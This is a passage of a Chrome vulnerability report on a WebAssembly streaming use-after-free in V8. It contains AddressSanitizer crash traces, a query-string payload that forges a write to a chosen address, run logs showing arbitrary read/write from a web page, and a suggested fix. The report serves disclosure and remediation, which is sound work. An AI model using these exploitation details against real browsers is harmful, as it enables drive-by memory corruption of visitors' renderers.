RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_read64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3241928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7caa9e48c3f8 at pc 0x7ffabf3c3271 bp 0x7bfa7d27a6c0 sp 0x7bfa7d27a6b8
READ of size 8 at 0x7caa9e48c3f8 thread T8 (ThreadPoolForeg)
[0612/010516.751271:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/010516.751458:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_ACCERR 7a9c43444545
Received signal 11 SEGV_ACCERR 7a9c43444545
The fault value 7a9c43444545 is the chosen 0x414243444546 after V8 pointer-tag/cage
decoding; its high bits match this run’s leaked heap base (RUN119_ADDROF_LEAK value=0x7a9c01077889), so the read address is attacker-derived, not random. Full log:
traces/controlled-read-and-arw/chrome.stderr.log.
Controlled write
asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758
makes V8 store an attacker-chosen value to an attacker-chosen address. This run captured the
validation worker reading freed signature storage from inside the attacker-driven streaming
decode, then the forged store faulting at the chosen address
(traces/controlled-write/):
RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_write64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3481237==ERROR: AddressSanitizer: container-overflow on address 0x7c3aa9c46790 at pc 0x7f8acab1c1e8 bp 0x7b89994761b0 sp 0x7b89994761a8
READ of size 8 at 0x7c3aa9c46790 thread T13 (ThreadPoolForeg)
#0 0x7f8acab1c1e7 in v8::internal::wasm::ValidateFunctionsStreamingJob::Run(v8::JobDelegate*) gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
#1 0x7f8ac55515f3 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0 const&, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>> const&>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>>, void (base::JobDelegate*)>::Run(base::internal::BindStateBase*, base::JobDelegate*) gin/v8_platform.cc:301:23
#2 0x7f8b2e83e88f in base::RepeatingCallback<void (base::JobDelegate*)>::Run(base::JobDelegate*) const & base/functional/callback.h:346:12
#3 0x7f8b2e83ff7f in base::internal::Invoker<base::internal::FunctorTraits<base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0 const&, base::internal::JobTaskSource*>, base::internal::BindState<false, false, false, base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0, base::internal::UnretainedWrapper<base::internal::JobTaskSource, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::Run(base::internal::BindStateBase*) base/task/thread_pool/job_task_source.cc:114:32
#4 0x7f8b2e7a0da9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#5 0x7f8b2e8604eb in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
#6 0x7f8b2e860716 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:675:3
#7 0x7f8b2e85eccf in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:705:7
#8 0x7f8b2e85de8b in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:393:5
#9 0x7f8b2e8845e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
#10 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#11 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#12 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#13 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp
0x7c3aa9c46790 is located 80 bytes inside of 112-byte region [0x7c3aa9c46740,0x7c3aa9c467b0)
allocated by thread T0 (chrome) here:
#0 0x55721b07663d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
#1 0x7f8ac8ae228f in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::reserve(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:42:28
#2 0x7f8acab4e533 in v8::internal::wasm::WasmModuleSignatureStorage::AllocateMoreStorage(unsigned long) v8/src/wasm/wasm-module.h:749:17
#3 0x7f8acab4e2ff in v8::internal::wasm::WasmModuleSignatureStorage::Allocate(unsigned long, unsigned long) v8/src/wasm/wasm-module.h:710:7
#4 0x7f8acab4c9c4 in v8::internal::wasm::ModuleDecoderImpl::consume_sig() v8/src/codegen/signature.h:42:25
#5 0x7f8acab4bc6e in v8::internal::wasm::ModuleDecoderImpl::consume_base_type_definition(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:577:34
#6 0x7f8acab4b3a2 in v8::internal::wasm::ModuleDecoderImpl::consume_described_type(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:658:14
#7 0x7f8acab4aa3f in v8::internal::wasm::ModuleDecoderImpl::consume_describing_type(unsigned long, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:689:14
#8 0x7f8acab4a298 in v8::internal::wasm::ModuleDecoderImpl::consume_shared_type(unsigned long) v8/src/wasm/module-decoder-impl.h:715:14
#9 0x7f8acab4875b in v8::internal::wasm::ModuleDecoderImpl::consume_subtype_definition(unsigned long) v8/src/wasm/module-decoder-impl.h:749:14
#10 0x7f8acab39d85 in v8::internal::wasm::ModuleDecoderImpl::DecodeTypeSection() v8/src/wasm/module-decoder-impl.h:780:31
#11 0x7f8acab2cf89 in v8::internal::wasm::ModuleDecoderImpl::DecodeSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-decoder-impl.h:437:9
#12 0x7f8acab12fb9 in v8::internal::wasm::AsyncStreamingProcessor::ProcessSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-compiler.cc:3159:12
#13 0x7f8acabaa938 in v8::internal::wasm::AsyncStreamingDecoder::DecodeSectionPayload::Next(v8::internal::wasm::AsyncStreamingDecoder*) v8/src/wasm/streaming-decoder.cc:196:22
#14 0x7f8acaba752d in v8::internal::wasm::AsyncStreamingDecoder::OnBytesReceived(v8::base::Vector<unsigned char const>) v8/src/wasm/streaming-decoder.cc:328:26
#15 0x7f8acac5de28 in v8::WasmStreaming::OnBytesReceived(unsigned char const*, unsigned long) v8/src/wasm/wasm-js.cc:77:25
#16 0x7f8ad7c581fa in blink::(anonymous namespace)::FetchDataLoaderForWasmStreaming::OnStateChange() v8_wasm_response_extensions.cc
#17 0x7f8ad9071e97 in blink::ReadableStreamBytesConsumer::OnRead(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x403be97) (BuildId: 86034637d8af1588)
#18 0x7f8ad9073857 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::ReadableStreamBytesConsumer::*&&)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&>, base::internal::BindState<true, true, false, void (blink::ReadableStreamBytesConsumer::*)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>>, void ()>::RunOnce(base::internal::BindStateBase*) readable_stream_bytes_consumer.cc
#19 0x7f8ad0a47d08 in blink::scheduler::EventLoop::RunPendingMicrotask(void*) base/functional/callback.h:155:12
#20 0x7f8ac9e95fa5 in v8::internal::Runtime_RunMicrotaskCallback(int, unsigned long*, v8::internal::Isolate*) v8/src/runtime/runtime-promise.cc:93:3
#21 0x7b8a772804b5 (<unknown module>)
#22 0x7b8a771ffef5 (<unknown module>)
#23 0x7b8a771cb62a (<unknown module>)
#24 0x7f8ac8d01fa8 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:493:41
#25 0x7f8ac8d03da9 in v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:535:18
#26 0x7f8ac8d041af in v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*) v8/src/execution/execution.cc:639:10
#27 0x7f8ac8dabdf1 in v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) v8/src/execution/microtask-queue.cc:185:22
#28 0x7f8ac8dab9b4 in v8::internal::MicrotaskQueue::PerformCheckpointInternal(v8::Isolate*) v8/src/execution/microtask-queue.cc:129:3
#29 0x7f8ad7c3fc55 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x2c09c55) (BuildId: 86034637d8af1588)
Thread T13 (ThreadPoolForeg) created by T8 (ThreadPoolForeg) here:
#0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
#1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
#3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
#4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
#5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
#6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
#7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp
Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
#0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
#1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
#3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
#4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
#5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
#6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
#7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp
Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
[0612/031508.488241:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/031508.488477:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
[0612/031508.510884:ERROR:third_party/crashpad/crashpad/util/process/process_memory_linux.cc:50] pread64: Input/output error (5)
Received signal 11 SEGV_ACCERR 7a2c43444545
Received signal 11 SEGV_ACCERR 7a2c43444545
The crash stack ties the bug to the attacker’s input directly:
ReadableStreamBytesConsumer::OnRead → FetchDataLoaderForWasmStreaming →
WasmStreaming::OnBytesReceived → AsyncStreamingProcessor::ProcessSection
(module-compiler.cc:3159) → ValidateFunctionsStreamingJob::Run, with the freed region
allocated by WasmModuleSignatureStorage::Allocate during decode. The trailing
Received signal 11 SEGV_ACCERR 7a2c43444545 is the forged store faulting at the chosen
address (0x414243444546 after cage decoding; high bits match this run’s heap base).
Arbitrary read/write
Combining the two, the same control yields a full read/modify/read over a victim
BigUint64Array: the page leaks its address, aliases its length field, reads it, overwrites
it, and reads it back, and the corruption is visible from JavaScript:
RUN119_ADDROF_LEAK value=0x7a9c01077889
RUN120_ARW_OBJECT value=0x7a9c01077a89
RUN120_ARW_READ_BEFORE value=0x100000000
RUN120_ARW_WRITE value=0x800000000
RUN120_ARW_READ_AFTER value=0x800000000 byteLength=64 length=8
RUN120_ARW_CONTROL
RUN122_ARW_TYPED_ARRAY_SHOWCASE object=0x7a9c01077a89 field=0x7a9c01077aa9 before=0x100000000 write=0x800000000 after=0x800000000 byteLength=64 length=8
The alias re-read returns the value just written and the victim’s JavaScript-visible
byteLength changes from 8 to 64 — a corrupted length reflected in script-reachable state,
which distinguishes genuine arbitrary read/write from an incidental crash. Full log:
traces/controlled-read-and-arw/chrome.stderr.log.
What this proves
- Controlled read — a load from an attacker-chosen address.
- Controlled write — a store of an attacker-chosen value to an attacker-chosen address.
- Arbitrary read/write — read + write of a victim object, reflected in JavaScript state.
- All reachable from a web page; renderer memory corruption with no user interaction beyond visiting the page.
- Not claimed: browser-process or operating-system compromise.
Suggested fix
Make the discard path match the safe abort/finish paths for validation-worker lifetime:
- cancel or join
validate_functions_job_handle_before freeingValidateFunctionsStreamingJobData; - ensure
AsyncStreamingProcessor::~AsyncStreamingProcessor()cannot free validation state while anyValidateFunctionsStreamingJob::Run()can still dereference it; - treat shared ownership of validation data as defense in depth, not a replacement for cancellation;
- keep fail-stop
CHECKs, but do not rely on a releaseCHECK_NULLas the complete fix unless worker cancellation is also guaranteed.
Package contents
01-wasm-streaming-validation-uaf-submission.md this report
repro-steps.md condensed run instructions
poc/serve_poc.py Python static server
poc/index.html Payment Handler registration + entry
poc/payment-handler-sw.js service worker that opens the exploit page
poc/payment-manifest.json Payment Handler manifest
poc/payment-icon.png manifest icon
poc/wasm-asan-controlled-crash-poc.html exploit (UAF -> controlled read/write -> ARW)
traces/plain-uaf-crash/ plain validation-worker UAF crash (full ASAN stderr + url + notes)
traces/controlled-read-and-arw/ controlled-read + ARW + chosen-address crash (full ASAN stderr + url + notes)
traces/controlled-write/ controlled-write run, Run() container-overflow + forged store (full ASAN stderr + url + notes)
Credit
Duc Nguyen of Calif.io in collaboration with OpenAI Codex Security